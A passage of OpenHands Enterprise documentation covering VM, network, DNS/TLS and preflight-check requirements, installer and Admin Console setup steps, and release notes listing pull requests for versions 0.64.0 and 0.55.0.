configured environment - for OpenHands Enterprise, including the EC2 instance, DNS records, and TLS certificates. - - - Follow the README instructions to configure and apply the Terraform configuration. - - - - The recommended Terraform path provisions a publicly trusted TLS certificate. If you bring - your own certificate instead, use a publicly trusted CA whenever possible. Private CA - certificates require every external webhook or OAuth provider that calls OpenHands to trust - your CA. - - - - - If you are provisioning a VM manually (on-premises or on another cloud provider), - it must meet the requirements below. - - - | Resource | Requirement | - |----------|-------------| - | **vCPUs** | 16 | - | **Memory** | 64 GB | - | **Disk** | 200 GB | - | **Disk P99 write latency** | 10 ms maximum | - | **OS** | Linux (x86-64 architecture) | - | **Init system** | systemd | - | **Access** | Root access (sudo) required | - - - We recommend **Ubuntu 24.04 LTS**. The default **Sandbox Isolation** runtime - (Sysbox) is best supported on Ubuntu and requires **Linux kernel 6.3 or newer**, - which Ubuntu 24.04 provides. Very new, non-LTS releases (for example, Ubuntu 25.10 - or later) may ship kernels that are not yet supported by Sysbox and can cause - sandbox containers to fail during startup. If you do not need Docker inside the - sandbox, you can instead select the standard runtime under **Sandbox Isolation** in - the installer, which does not require a Sysbox-compatible kernel. See - [Docker in Sandbox](/enterprise/docker-in-sandbox) for details. - - - - - **Firewall inbound rules** -- the following ports must be open: - - | Port | Protocol | Purpose | - |------|----------|---------| - | 80 | TCP | HTTP ingress/redirect | - | 443 | TCP | HTTPS | - | 30000 | TCP | Admin Console | - - **Local ports** -- the following ports must be available for local processes (no firewall rules needed): - - `2379/TCP`, `7443/TCP`, `9099/TCP`, `10248/TCP`, `10257/TCP`, `10259/TCP` - - **Outbound access** -- the VM must be able to reach: - - - `replicated.app` - - `proxy.replicated.com` - - `images.r9.all-hands.dev` - - `install.r9.all-hands.dev` - - `charts.r9.all-hands.dev` - - `updates.r9.all-hands.dev` - - `github.com` - - `traefik.github.io` - - `registry-1.docker.io` - - `ghcr.io` - - - - The installation creates directories and files in the following locations: - - ``` - /etc/cni - /etc/k0s - /opt/cni - /opt/containerd - /run/calico - /run/containerd - /run/k0s - /sys/fs/cgroup/kubepods - /sys/fs/cgroup/system.slice/containerd.service - /sys/fs/cgroup/system.slice/k0scontroller.service - /usr/libexec/k0s - /usr/local/bin/k0s - /var/lib/calico - /var/lib/cni - /var/lib/containers - /var/lib/embedded-cluster - /var/lib/kubelet - /var/log/calico - /var/log/containers - /var/log/embedded-cluster - /var/log/pods - ``` - - - ### DNS and TLS Setup - - Once your VM is running, configure DNS and TLS before starting the installer. - - **Create a wildcard DNS A record** pointing to your VM's public IP address: - - | Record | Example | - |--------|---------| - | `*.` | `*.openhands.example.com` | - - **Obtain a wildcard TLS certificate signed by a well-known certificate authority (CA) such as Let's Encrypt** - for `*.`, then copy the certificate - (`.pem` or `.crt`) and private key (`.pem` or `.key`) to the VM. Self-signed certificates - are not supported for the OpenHands application. - - - Obtain a certificate with SANs (Subject Alternative Names) for each of these hostnames: - - - `admin.` - - `app.` - - `auth.` - - `analytics.` - - `llm-proxy.` - - `runtime-api.` - - `runtime.` - - By default, each sandbox runtime gets its own dynamic hostname, which only a wildcard - certificate can cover. When you configure OpenHands, set **Sandbox Routing Mode** to - **Path-based** so all sandboxes are served under `runtime.` instead. - - - - If you don't provide TLS certificates during installation, the Admin Console will use a - self-signed certificate and your browser will display a security warning. You can still - upload your certificate afterward through the Admin Console. - - - - -## Preflight Validation - -All items below must be completed before running the installer: - -- VM meets CPU, memory, disk, and OS requirements -- DNS records are created and resolve from the VM -- Inbound ports are open: `80`, `443`, and `30000` -- Outbound domains are reachable from the VM -- GitHub App prerequisites are prepared -- (Optional) [External PostgreSQL](/enterprise/external-postgres) instance provisioned if using your own database - - - Do not run the installer until preflight checks pass. - - -### DNS checks - -Run the checks below on the target VM before opening the installer dashboard. - -Export your base domain: - -```bash -export BASE_DOMAIN="openhands.example.com" -``` -Test DNS: -```bash -for h in "admin.${BASE_DOMAIN}" "app.${BASE_DOMAIN}" "test-runtime.${BASE_DOMAIN}"; do - echo "[DNS] $h" - getent hosts "$h" || nslookup "$h" -done -``` - -Expected: each hostname resolves to your VM's public IP address through the -wildcard record. - -### Outbound connectivity checks - -```bash -urls=( - "https://replicated.app" - "https://proxy.replicated.com/v2/" - "https://images.r9.all-hands.dev/v2/" - "https://install.r9.all-hands.dev" - "https://charts.r9.all-hands.dev" - "https://updates.r9.all-hands.dev" - "https://github.com" - "https://traefik.github.io/charts/index.yaml" - "https://registry-1.docker.io/v2/" - "https://ghcr.io/v2/" -) - -for u in "${urls[@]}"; do - # HTTP 000 means connection failure (DNS failure, timeout, or blocked network path). - code=$(curl -sSIL --max-time 15 -o /dev/null -w "%{http_code}" "$u" || true) - if [ "$code" = "000" ]; then - echo "FAIL $u" - else - echo "OK $u (HTTP $code)" - fi -done -``` - -Any HTTP response code other than `000` is acceptable for reachability checks -(for example `200`, `301`, `302`, `401`, `403`, `405`). - -If any check fails, stop and resolve before continuing: -- DNS failures: Verify records are created, point to the right target, and have finished propagating -- Outbound connectivity failures: Check firewall egress rules, proxy settings, and TLS inspection policies - -## Reasons for Requirements - -| Requirement | Why It Exists | -|------------|----------------| -| `443/TCP` inbound | Primary HTTPS entrypoint for users and service hostnames | -| `30000/TCP` inbound | Replicated/KOTS Admin Console for install and configuration | -| `80/TCP` inbound | HTTP entrypoint used for ingress/redirect behavior | -| `*.` DNS + cert SAN | Application services and sandboxes are addressed by hostnames under the base domain | -| `replicated.app`, `proxy.replicated.com` | Replicated control-plane/license/install paths | -| `images.r9...`, `charts.r9...`, `updates.r9...`, `install.r9...` | Vendor distribution image/chart/update/install endpoints | -| `traefik.github.io` | Embedded cluster ingress chart repository | -| `ghcr.io`, `registry-1.docker.io` | Container image pulls for platform components | -| `github.com` | GitHub App setup/auth/webhooks and downloading public agent skills | - -## Run the Installer - -### 1. Access the Installer Dashboard - -After preflight validation checks have passed, [register for a free 30-day trial](https://install.r9.all-hands.dev/openhands/signup), then -log in to the installer dashboard. You will see the dashboard below. -Click **"View install guide"** in the Install tile. - -![Installer Dashboard](./images/admin-dashboard.png) - -### 2. Name your instance - -Enter a name for your instance (e.g., your company name or environment identifier). -Select **"Outbound requests allowed"** for Network Availability, then click **Continue**. - -![Instance name and network availability](./images/install-instance-name.png) - -### 3. Run the installation commands - -The install guide provides commands to run on your VM. SSH into your VM and execute them in order: - -1. **Select a version** -- the latest version is pre-selected -2. **Download the installation assets** -- copy and run the `curl` command shown -3. **Extract the installation assets** -- run the `tar` command shown (this includes your license file) -4. **Install** -- run the install command shown - -If the install command fails after preflight checks pass, see -[Troubleshooting](/enterprise/troubleshooting) to generate a support -bundle and open a support ticket. - - - **We recommend providing your TLS certificates during installation.** If you used the - Terraform module, the certificates are in your home directory: - - ```bash - sudo ./openhands install --license license.yaml \ - --tls-cert ~/certificate.pem \ - --tls-key ~/private-key.pem - ``` - - If you provisioned manually and have your own certificates on the VM, pass them the same way. - You can also omit the `--tls-cert` and `--tls-key` flags and upload certificates later through - the Admin Console. - - For trials and production deployments, use a publicly trusted TLS certificate whenever possible. - Private CA certificates may work for users after manual trust setup, but external integrations - such as GitHub, GitLab, Slack, Jira, and Bitbucket must also trust the certificate chain. If they - do not, webhook or OAuth callbacks can fail TLS verification and repeatedly retry. - - -![Installation commands](./images/install-commands.png) - -### 4. Access the Admin Console - -Once the install command completes, the Admin Console is available at: -- `https://admin.:30000` (if you provided TLS certificates) -- `http://:30000` (if you did not use the `--tls-cert` and `--tls-key` flags on the `install` command) - -If you did not provide TLS certificates with the `install` command, your browser will display a security warning. -Click **Advanced**, then **Proceed** to continue to the Admin Console. - -![Self-signed certificate warning](./images/self-signed-cert-warning.png) - -### 5. Upload TLS certificate (if not provided with the install command) - -If you did not provide certificates with the `install` command, select **"Upload your own"**, -enter `admin.` under **Hostname**, upload your private key and SSL certificate, then click **Continue**. - -If you upload a private CA certificate, make sure any external webhook or OAuth provider that -calls OpenHands also trusts that CA. - -![Upload TLS certificate](./images/upload-tls-certificate.png) - -### 6. Log in to the Admin Console - -Enter the password you set during installation and click **Log in**. - -![Admin Console login](./images/admin-console-login.png) - -### 7. Configure the cluster - -You will be prompted to add additional nodes to the cluster. -For a single-node deployment, click **Continue** to skip this step. - -![Configure cluster nodes](./images/configure-cluster-nodes.png) - -## Configure OpenHands - -You should now see the application configuration page. - -![Configure OpenHands](./images/configure-openhands.png) - -### Domain Configuration - -- Keep the Hostname Configuration Mode set to **"Simple (default)"** -- Enter your base domain (e.g., `openhands.example.com`) - -### Certificate Configuration - -- Upload your **TLS Certificate** (`.crt` or `.pem`) -- Upload your **TLS Private Key** (`.key` or `.pem`) -- Optionally upload the root **CA Certificate** for your TLS certificates - -### LLM Configuration - -Choose an LLM provider from the LLM Configuration dropdown and enter the details -from that provider. - -![LLM Configuration provider dropdown](./images/llm-configuration-provider-dropdown.png) - -For example, if you use Anthropic, enter your API key from the -[Anthropic Console](https://console.anthropic.com/). - -### Database Configuration - -By default, OpenHands Enterprise uses a bundled PostgreSQL database. If you need to use your -own PostgreSQL instance (for example, to integrate with existing database infrastructure or -meet specific backup/HA requirements), see [External PostgreSQL](/enterprise/external-postgres) -for setup instructions. - -### GitHub Authentication - -Enable GitHub Authentication in the Admin Console, then follow these steps to create and -configure a GitHub App. - -#### Create a GitHub App - -Run our [script](https://github.com/All-Hands-AI/OpenHands-Cloud/tree/main/scripts/create_github_app) to create a GitHub App configured for your install. - -#### Map GitHub App values to Admin Console - -Go back to the Installer Admin Console in your browser and enter the values from the Create GitHub App script output. For the private key, upload the file from the `keys` directory of the script location. - -See [GitHub](/enterprise/integrations/github) for GitHub App installation, -`@openhands` resolver behavior, pull request review identity, and repository-level -review controls. - -### Additional Integrations - -If your team uses Jira Data Center or Bitbucket Data Center, follow these guides -to configure Admin Console values before deployment and complete webhook setup -inside OpenHands after deployment. - - - - Configure Bitbucket Data Center login, repository access, bot identity, and pull request webhooks. - - - Configure Jira issue triggers, OAuth account linking, service account credentials, and Jira webhooks. - - - -After filling in all fields, click **Continue** at the bottom of the page. - -## Deploy and Verify - -OpenHands will begin deploying. You can expect the deployment status to transition from -**Missing** to **Unavailable** to **Ready**. This typically takes 5-10 minutes. - -![Deployment in progress](./images/deployment-in-progress.png) - -Click **Details** next to the deployment status to monitor individual resources. Resources -shown in orange are still deploying -- wait until all resources are ready. - -![Deployment status details](./images/deployment-status-details.png) - -## First Login - -Once the deployment status shows **Ready**, navigate to `https://app.` -and click the **Login with GitHub** tile. - - -Accept the Terms of Service and click **Continue**. - -![Accept Terms of Service](./images/accept-terms-of-service.png) - -OpenHands Enterprise is now running. You can open a repository or start a new conversation. - -![OpenHands is ready](./images/openhands-ready.png) - -## Next Steps - - - - Learn about OpenHands Enterprise features, integrations, and deployment options. - - - Get the most out of your AI coding agents with effective prompting techniques. - - - Collect diagnostics, inspect workloads, and contact OpenHands Support. - - - Explore the full OpenHands documentation for usage guides and features. - - - -### Release Notes -Source: https://docs.openhands.dev/enterprise/release-notes.md - -## 0.64.0 - -This release brings **shared LLM provider connections at the org level**, letting one connection back many members' managed profiles, and adds **configurable GPG commit signing** at the user level with a Set GPG Key button in app settings. Administrators gain new tools for organization lifecycle: a superadmin can seed a new org via a normal invitation, and Git providers can now be connected and disconnected post-auth from Settings → Integrations. Enterprise also splits automation permissions into separate view and manage roles. - -### Enterprise Server - -#### Features -* feat: add ENABLE_BYOR_EXPORT env var and frontend feature flag by @tofarr in https://github.com/OpenHands/enterprise/pull/232 -* feat: configurable GPG commit signing at user level (OHE-3115) by @tofarr in https://github.com/OpenHands/enterprise/pull/264 -* feat: add Set GPG Key button to app settings by @tofarr in https://github.com/OpenHands/enterprise/pull/274 -* feat: add database-driven feature flag library (OHE-3101) by @tofarr in https://github.com/OpenHands/enterprise/pull/217 -* feat(org): shared LLM provider connections (cloud) by @juanmichelini in https://github.com/OpenHands/enterprise/pull/219 -* feat: link daily quota increase requests by @neubig in https://github.com/OpenHands/enterprise/pull/283 -* feat: add cron script to clean stale app_conversation_start_task rows by @tofarr in https://github.com/OpenHands/enterprise/pull/290 -* feat: OHE-3197 : Unify ENABLE_BILLING resolution through the feature flag env fallback by @tofarr in https://github.com/OpenHands/enterprise/pull/301 -* feat: split automations permission into view and manage by @tofarr in https://github.com/OpenHands/enterprise/pull/304 -* feat: add GET /organizations/{org_id}/members/{user_id} by @hieptl in https://github.com/OpenHands/enterprise/pull/313 -* feat: connect and disconnect Git providers post-auth from Settings > Integrations by @hieptl in https://github.com/OpenHands/enterprise/pull/309 -* feat(enterprise): allow superadmin to seed a new org via a normal invitation by @lilagrc in https://github.com/OpenHands/enterprise/pull/292 -* feat(enterprise): instance-level admin user lifecycle API (disable/enable/delete) by @neubig in https://github.com/OpenHands/enterprise/pull/181 -* feat: OHE-3178 : add per-conversation event index for efficient search by @tofarr in https://github.com/OpenHands/enterprise/pull/327 - -#### Bug Fixes -* fix: delete MCP servers from a null mcp_config entry by @hieptl in https://github.com/OpenHands/enterprise/pull/270 -* fix: remove --forked from test commands to fix coverage measurement by @tofarr in https://github.com/OpenHands/enterprise/pull/277 -* fix: include registered marketplaces in the conversation skills listing by @hieptl in https://github.com/OpenHands/enterprise/pull/286 -* fix: stop polling behind the re-auth modal once the session expires by @hieptl in https://github.com/OpenHands/enterprise/pull/298 -* fix: stop title updates clobbering conversation metadata by @hieptl in https://github.com/OpenHands/enterprise/pull/299 -* fix(budgets): make LiteLLM spend reporting resilient by @ak684 in https://github.com/OpenHands/enterprise/pull/242 -* fix: prevent invalid proxy tokens after managed profile changes by @saurya in https://github.com/OpenHands/enterprise/pull/209 -* fix(analytics): use detected automation trigger by @neubig in https://github.com/OpenHands/enterprise/pull/147 -* fix: Updated release please config to include uv.lock by @tofarr in https://github.com/OpenHands/enterprise/pull/330 -* fix: prevent cross-user managed LLM key attribution by @ak684 in https://github.com/OpenHands/enterprise/pull/317 -* fix(ui): disable telemetry UI in self-hosted enterprise by @ak684 in https://github.com/OpenHands/enterprise/pull/326 - -#### Maintenance -* refactor(frontend): remove legacy max-budget settings control by @saurya in https://github.com/OpenHands/enterprise/pull/213 -* chore: remove dead code by @tofarr in https://github.com/OpenHands/enterprise/pull/271 -* chore: remove redundant comments across enterprise codebase by @tofarr in https://github.com/OpenHands/enterprise/pull/272 -* chore: remove comments referencing previous functionality by @tofarr in https://github.com/OpenHands/enterprise/pull/273 -* test: replace mocked sessions with SQLite fixtures in org invitation store by @tofarr in https://github.com/OpenHands/enterprise/pull/276 -* docs: fix stale, wrong, and inapplicable documentation references by @tofarr in https://github.com/OpenHands/enterprise/pull/275 -* chore: remove Reo tracking integration by @neubig in https://github.com/OpenHands/enterprise/pull/227 -* refactor: PLTF-3545 PLTF-3546 flatten enterprise/ into the repo root and move to uv by @jlav in https://github.com/OpenHands/enterprise/pull/312 - ---- - -### Software Agent SDK - -#### Features -* feat: add manifest to installed canvas extension responses by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/4611 -* feat(sdk): add ask_oracle tool by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/3673 -* feat(agent-server): add INSTALL_ACP_PROVIDERS build arg by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4687 -* feat: move TypeScript client into monorepo by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4702 -* feat(agent-server): add INSTALL_CAPABILITIES build arg by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4698 -* feat: add ACP-less agent-server image fallback by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4805 -* feat(observability): allow selecting Laminar instruments by @Shimada666 in https://github.com/OpenHands/software-agent-sdk/pull/4434 -* feat(acp): centralize ACP npm installation metadata by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4832 -* feat(agent-server): add /sockets/session/{id} with a non-Event envelope by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4807 -* feat(acp): add Kimi Code, plus the hardening the other provider PRs share by @ysntony in https://github.com/OpenHands/software-agent-sdk/pull/4714 -* feat(sdk): register Pi as a built-in ACP provider by @Deep070203 in https://github.com/OpenHands/software-agent-sdk/pull/4419 -* feat(acp): add OpenCode as a built-in ACP provider by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4827 -* feat: add GPT-6 Astra model support by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4861 -* Add claude-sonnet-5 to PROMPT_CACHE_MODELS by @swabeinvader in https://github.com/OpenHands/software-agent-sdk/pull/4043 -* feat(plugin): map client extensions under the dev.openhands namespace by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4496 - -#### Bug Fixes -* fix(agent-server): keep crash recovery result on interrupted action branch by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4488 -* fix(workspace): honor explicit provider host when injecting git clone tokens by @rsd-darshan in https://github.com/OpenHands/software-agent-sdk/pull/4571 -* fix(agent-server): replace global _lifecycle_lock with per-conversation locks by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4570 -* fix(tools): unique user_data_dir per conversation to prevent SingletonLock collisions by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4602 -* fix(sdk): bound AsyncExecutor.close() so it cannot hang forever by @AaronAbuUsama in https://github.com/OpenHands/software-agent-sdk/pull/4548 -* fix(agent-server): detect all secret-bearing fields for the plaintext-save warning, not just llm.api_key by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4618 -* fix: enable condenser for subscription LLMs via existing completion dispatch by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4517 -* fix(sdk): resolve structured builtin tool specs remotely by @malhotra5 in https://github.com/OpenHands/software-agent-sdk/pull/4691 -* fix(agent-server): stop fanning streaming deltas out to every subscriber by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4689 -* fix(acp): never inject workspace project skills into an ACP agent (#4019) by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4699 -* fix(sdk): mask model output in the durable MessageEvent by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4783 -* fix(sdk): match nested repo paths by ancestry, not string prefix by @alanhuangyoo in https://github.com/OpenHands/software-agent-sdk/pull/4767 -* fix(tools): mask secrets in every tool's observation at the shared chokepoint by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4788 -* fix(agent-server): keep the idle timer alive during streamed completions by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4790 -* fix(sdk): remove secrets from subprocess env by @smolpaws in https://github.com/OpenHands/software-agent-sdk/pull/4801 -* fix(sdk): persist events before publishing them, return the assigned seq by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4806 -* fix(llm): allow security_risk param on read-only tools like finish by @sideeffffect in https://github.com/OpenHands/software-agent-sdk/pull/4153 -* fix(sdk): require fastmcp>=3.2.0 so expired MCP OAuth tokens refresh by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4857 -* fix(sdk): pick up a user message that arrives during an async step by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4194 -* fix(agent-server): propagate load_memory preference to all launch paths by @vnktadithya in https://github.com/OpenHands/software-agent-sdk/pull/4566 -* fix: respect OH_PERSISTENCE_DIR for all ~/.openhands paths by @jpshackelford in https://github.com/OpenHands/software-agent-sdk/pull/4476 -* fix(ci): align ready-for-dev gates with OpenHands pipefail-safe approach by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4607 -* fix(tests): stop pinning LLM capability tests to upstream metadata by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4879 -* fix(ci): centralize release publication dispatches by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4886 -* fix(agent-server): restore subscription credentials in pre-flight validation by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4898 -* fix(llm): register litellm_proxy alias pricing so spans aren't silently $0 by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/4836 -* fix(extensions): compose local source with repo_path by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4839 - -#### Maintenance -* docs: document SDK repository boundaries by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4587 -* chore(ci): clarify issue readiness bot comment and reference templates by @jpshackelford in https://github.com/OpenHands/software-agent-sdk/pull/4625 -* Relax ready-for-dev heading check to accept h2 headings by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/4632 -* docs(examples): align Ask Oracle conventions by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/4655 -* refactor(agent-server): share ACP provider payload as a parent-independent Docker layer by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4651 -* test(agent-server): cover conversation reads not serializing behind an unrelated start by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4685 -* ci: enforce SDK and TypeScript client version parity by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4779 -* refactor(agent-server): remove the VNC/desktop stack entirely by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4792 -* refactor(agent-server,ci): remove overdue org_config field and catch this class of gap in check_deprecations.py by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4795 -* ci: remove the endpoint-audit PR comment, report via the job summary by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4825 -* test(acp): live conformance + model-acceptance probes for built-in providers (#4830 P0) by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4834 -* ci(typescript-client): run integration tests against the branch's agent-server by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4844 -* perf(sdk): make EventLog.append cost flat against conversation length by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4697 - ---- - -### Runtime API - -#### Features -* feat: OHE-3139 : Split cleanup CronJob into per-phase jobs by @tofarr in https://github.com/OpenHands/runtime-api/pull/729 -* feat: overlay database warm-runtime configs onto ConfigMap entries by name by @ak684 in https://github.com/OpenHands/runtime-api/pull/731 -* feat: Add coverage gate to unit test workflow by @tofarr in https://github.com/OpenHands/runtime-api/pull/737 - -#### Bug Fixes -* fix: redact sensitive URL query parameters in pod crash logs by @all-hands-bot in https://github.com/OpenHands/runtime-api/pull/706 -* fix: treat empty ADMIN_PASSWORD as unset so admin routes stay disabled by @ak684 in https://github.com/OpenHands/runtime-api/pull/730 -* fix: OHE-3187 : clean up warm runtimes orphaned by split-brain claim by @tofarr in https://github.com/OpenHands/runtime-api/pull/735 - ---- - -### Automation - -#### Features -* feat: add structured task outcomes to preset finish tool by @malhotra5 in https://github.com/OpenHands/automation/pull/334 -* feat: replace the parse-only source registry with a provider descriptor and verifier registry by @VascoSch92 in https://github.com/OpenHands/automation/pull/378 -* feat: persist accepted events to deduplicate redeliveries and expose events that matched nothing by @VascoSch92 in https://github.com/OpenHands/automation/pull/381 -* feat: report lifetime per-status run counts on the runs list by @hieptl in https://github.com/OpenHands/automation/pull/383 -* feat: report live run phases for dashboard visibility by @hieptl in https://github.com/OpenHands/automation/pull/388 -* feat: add in-service Slack Socket Mode via a supervised stream transport by @VascoSch92 in https://github.com/OpenHands/automation/pull/384 -* feat: split automation permissions into view and manage by @tofarr in https://github.com/OpenHands/automation/pull/415 -* feat: auto-disable for consecutively failing automations [PLTF-3374] by @dylan-openhands in https://github.com/OpenHands/automation/pull/397 -* feat: route events to an existing conversation via a derived conversation id by @VascoSch92 in https://github.com/OpenHands/automation/pull/385 -* feat: add ready-for-dev issue and PR readiness gates by @neubig in https://github.com/OpenHands/automation/pull/380 -* feat: restrict automation edits to the creator by @hieptl in https://github.com/OpenHands/automation/pull/427 - -#### Bug Fixes -* fix: capture automation failure modes as status states by @malhotra5 in https://github.com/OpenHands/automation/pull/345 -* fix: treat missing tarball objects as permanent and defer superseded deletes until commit by @hieptl in https://github.com/OpenHands/automation/pull/356 -* fix: auto-disable unhealthy automations by @malhotra5 in https://github.com/OpenHands/automation/pull/352 -* fix: scope automation management to the org instead of the owner by @VascoSch92 in https://github.com/OpenHands/automation/pull/399 -* fix: require preset automations to use finish tool by @malhotra5 in https://github.com/OpenHands/automation/pull/405 -* fix: Forward X-Org-Id during automation auth by @malhotra5 in https://github.com/OpenHands/automation/pull/403 -* fix(automation): purge expired local-mode run workspaces by @trungminhdo4-glitch in https://github.com/OpenHands/automation/pull/277 - -#### Maintenance -* perf: remove redundant readiness query by @Linxiushen in https://github.com/OpenHands/automation/pull/303 -* refactor: extract a transport-neutral accept_event() from the webhook handler by @VascoSch92 in https://github.com/OpenHands/automation/pull/367 -* chore: add Dependabot configuration by @neubig in https://github.com/OpenHands/automation/pull/372 -* docs: document automation repository boundaries by @neubig in https://github.com/OpenHands/automation/pull/369 -* ci: enforce minimum 76% coverage on unit tests by @tofarr in https://github.com/OpenHands/automation/pull/419 - ---- - -### OpenHands Cloud (Helm Chart) - -#### Features -* feat(local-kind): PLTF-3527 enable Agent Canvas at /canvas by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1168 -* feat(replicated): PLTF-3456 enable automations by default for new installs by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1158 -* feat(runtime-api): sync split cleanup CronJob from runtime-api#729 by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1178 -* feat(e2e): PLTF-3514 dispatch e2e test revision bumps to saas-deploy by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1148 -* feat: enable warm-runtime config overlay mode for Replicated by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1183 -* feat: configure Enterprise SSO for Replicated VM deployments by @jpelletier1 in https://github.com/OpenHands/OpenHands-Cloud/pull/1116 -* feat: add CronJob to clean stale app_conversation_start_task rows by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1196 -* feat: enable appConversationStartTaskClean CronJob by default by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1197 -* feat(skills): PLTF-3531 add upgrade-rollback-runbook skill by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1204 -* feat(skills): PLTF-3531 add gke-install cluster-install skill by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1205 -* feat(skills): PLTF-3531 add eks-install cluster-install skill by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1203 -* feat: diagnose runtime ingress failures in support bundles by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1208 - -#### Bug Fixes -* fix(local-kind): PLTF-3527 use bundled MinIO for conversation/event storage by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1163 -* fix(replicated): drop the KOTS update check that ruins the target cursor by @dylan-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1175 -* fix: Disable agent-canvas telemetry by default for self-hosted by @lilagrc in https://github.com/OpenHands/OpenHands-Cloud/pull/1156 -* fix(e2e): PLTF-3515 give the Tavily test its own conversation by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1146 -* fix: rename warm-runtime default config to v1_current to match the app default spec lookup by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1181 -* fix: give the Runtime API admin password a real KOTS field with a generated default by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1182 -* fix: advertise the runtime API ingress to fuse mounts by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1184 -* fix(chart): render reaper archive volume under a volumes: key (staging reaper outage) by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1185 -* fix(ci): bypass broken deploy-gate check temporarily by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1186 -* fix: make E2E repo-test prompt explicitly instruct file edit by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1189 - -#### Maintenance -* ci: check the agent-server tag against the enterprise SDK pin by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1167 -* ci: make the Replicated deploy check blocking, with a break-glass label [PLTF-3535] by @dylan-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1187 -* test: harden 003 legacy conversations spec (from #1176, without 005 canvas spec) by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1200 -* docs(skills): PLTF-3531 use --context=0 for helm diff in upgrade-rollback runbook by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1206 -* test(e2e): verify managed LLM key ownership by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1207 - -## 0.55.0 - -This release centers on **daily conversation quotas** for Enterprise Server, which add a read-only usage page with a reset countdown, org-level exemptions, and self-service quota increase requests verified by work email. Enterprise installs also gain **dedicated sandbox node scheduling**, with declared app and sandbox node roles, affinity plumbing across all pod specs, a config option to turn it on, and a preflight check that warns when it is enabled without a matching node. Issue tracker coverage expanded through an org-scoped Jira Cloud resolver with an email-match mode and through Azure DevOps resolver webhook configuration. The Agent SDK added an Agent Plugins manifest loader, structured output, a pre-flight LLM validation endpoint, and read-at-use LLM provider connections, while the Runtime API now anchors runtime reaping, database pruning, and the idle-grace period on last activity rather than creation time. The remainder of the release covers extensive billing and credit-handling fixes and hardened Keycloak identity matching that keys on the Keycloak subject rather than email. - -### Enterprise Server - -#### Features -* feat(settings): increase LLM profile limit to 50 and make it configurable by @jpelletier1 in https://github.com/OpenHands/enterprise/pull/114 -* feat: add cloud workspace file-listing endpoint (OHE-3053) by @lilagrc in https://github.com/OpenHands/enterprise/pull/135 -* feat: Expose organization creation teaser UX by @malhotra5 in https://github.com/OpenHands/enterprise/pull/151 -* feat: set SaaS default model to Kimi K3 and migrate GLM 5.2 settings by @juanmichelini in https://github.com/OpenHands/enterprise/pull/190 -* feat: org-scope the Jira Cloud resolver and add email-match mode for OHE by @hieptl in https://github.com/OpenHands/enterprise/pull/192 -* feat(frontend): add data-testid to changes refresh button by @tofarr in https://github.com/OpenHands/enterprise/pull/203 